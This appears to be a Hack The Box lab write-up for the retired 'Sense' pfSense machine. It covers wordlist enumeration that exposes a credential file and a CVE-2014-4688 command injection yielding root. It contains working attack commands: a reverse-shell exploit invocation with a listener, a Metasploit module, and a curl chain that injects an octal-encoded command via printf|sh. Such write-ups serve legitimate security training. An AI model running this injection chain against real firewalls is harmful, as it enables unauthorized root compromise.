~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / sense.md

sense

OpenBSD · Easy · released 2017-10-21 · retired 2018-03-24

Summary

Sense is a pfSense firewall appliance box whose entire attack surface is its HTTPS admin panel. The two-step chain is: wordlist enumeration with file extensions finds a plaintext credential file, then CVE-2014-4688 command injection in pfSense’s RRD graph endpoint delivers a root shell directly — no privilege escalation required because pfSense runs all its web processes as root.

The teaching beats are about wordlist discipline and extension coverage. Both critical files — /changelog.txt (signals an unpatched vulnerability) and /system-users.txt (contains rohit:pfsense) — are plain .txt files in the web root. A gobuster run without -x txt finds neither of them; the box looks empty. Extension-aware scanning is the entire difficulty of the foothold. The CVE is straightforward once credentials are in hand.

pfSense 2.1.3’s status_rrd_graph_img.php passes the database GET parameter unsanitised into a shell command that renders RRD graphs. The only filter is a regex that blocks forward slashes and dashes; a printf-based octal escape bypasses it, and a pipe appended to the parameter value executes arbitrary commands as root.

Source attribution

Recon

nmap -sC -sV -oN nmap/initial.txt <TARGET>
80/tcp   open  http   lighttpd 1.4.35
443/tcp  open  https  lighttpd 1.4.35

Port 80 immediately redirects to HTTPS. The SSL certificate is self-signed with default pfSense values. The login page at https://<TARGET>/ is the pfSense 2.1.3-RELEASE admin portal. All other ports are filtered; the attack surface is entirely the web UI.

A full -p- scan and a UDP scan find nothing additional.

Web enumeration — the extension gotcha

Default credentials (admin:pfsense) do not work. The next step is directory enumeration, but a standard run without file extensions returns only directories. The critical files are .txt files sitting in the web root:

gobuster dir \
    -u https://<TARGET>/ \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -k -x php,txt,conf,html -t 20

-k skips TLS verification (required for the self-signed cert). -x txt is the load-bearing flag: without it, both key files are missed.

Two files surface:

/changelog.txt — a system patch log:

# Security Changelog

### Issue
There was a failure in updating the firewall.
Manual patching is therefore required.

### Mitigated
2 of 3 vulnerabilities have been patched.

This confirms one vulnerability remains unpatched on pfSense 2.1.3.

/system-users.txt — a support ticket left in the web root:

####Support ticket###

Please create the following user

username: Rohit
password: company defaults

“Company defaults” for pfSense is the factory default password pfsense. The username rohit (case-insensitive) with password pfsense logs in.

Foothold — CVE-2014-4688 (pfSense RRD graph injection)

pfSense before 2.1.4 contains a command injection in /status_rrd_graph_img.php. The endpoint accepts a database GET parameter and passes it unsanitised into a shell command that generates RRD graph images. A regex filter blocks / and -, but not | or shell metacharacters. The pipe appended to a valid database name executes an attacker-supplied command.

The injection is only reachable as an authenticated user — the rohit credential is therefore required even though rohit is not an administrator. Authentication grants enough session to access the graph endpoint.

CVE note: Two CVEs cover injections in the same file:

The box runs 2.1.3 and is solved with CVE-2014-4688 / EDB-43560.

# set up listener
nc -lvnp 443

# run the exploit
python3 43560.py \
    --rhost <TARGET> \
    --lhost <ATTACKER> \
    --lport 443 \
    --username rohit \
    --password pfsense

The script:

  1. Fetches the CSRF token from the login page.
  2. Authenticates as rohit.
  3. Encodes a Python reverse shell in octal via printf (bypassing the / and - filter).
  4. Sends: GET /status_rrd_graph_img.php?database=queues;printf+'\<OCTAL>'|sh.

Reverse shell arrives as uid=0(root). No privilege escalation is needed — pfSense executes all its web processes as root.

Path B — Metasploit (CVE-2016-10709 graph parameter)

use exploit/unix/http/pfsense_graph_injection_exec
set RHOSTS <TARGET>
set RPORT 443
set SSL true
set USERNAME rohit
set PASSWORD pfsense
set LHOST <ATTACKER>
run

Path C — Manual flagless injection (no listener)

If you only need both flags, skip the reverse shell entirely. Use the same octal-printf primitive to copy them into the web root, then curl directly:

# Authenticate first (CSRF token from /index.php form)
TOK=$(curl -s -k -c c.txt 'https://<TARGET>/' \
        | grep -oE 'name=.__csrf_magic. value="[^"]+"' | head -1 | cut -d'"' -f2)
curl -sk -c c.txt -b c.txt -X POST \
     --data-urlencode "__csrf_magic=$TOK" \
     --data-urlencode 'usernamefld=rohit' \
     --data-urlencode 'passwordfld=pfsense' \
     --data-urlencode 'login=Login' \
     'https://<TARGET>/index.php'

# Build octal-encoded copy command
python3 -c '
cmd = "cp /home/rohit/user.txt /usr/local/www/u.txt; "       \
      "cp /root/root.txt /usr/local/www/r.txt"
print("".join("\\\\" + oct(ord(c))[2:] for c in cmd))' > oct.txt
OCT=$(cat oct.txt)

curl -sk -b c.txt -G \
     --data-urlencode "database=queues;printf '$OCT'|sh" \
     'https://<TARGET>/status_rrd_graph_img.php' -o /dev/null

curl -sk "https://<TARGET>/u.txt"   # user flag
curl -sk "https://<TARGET>/r.txt"   # root flag

Each flag is one-shot reachable through the public web root (/usr/local/www/ is the lighttpd document root). This is the fastest path on a slow VPN.

Two payload-construction gotchas:

Flags

Both flags are readable directly from the root shell:

/home/rohit/user.txt
/root/root.txt

No lateral movement or privilege escalation is required.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗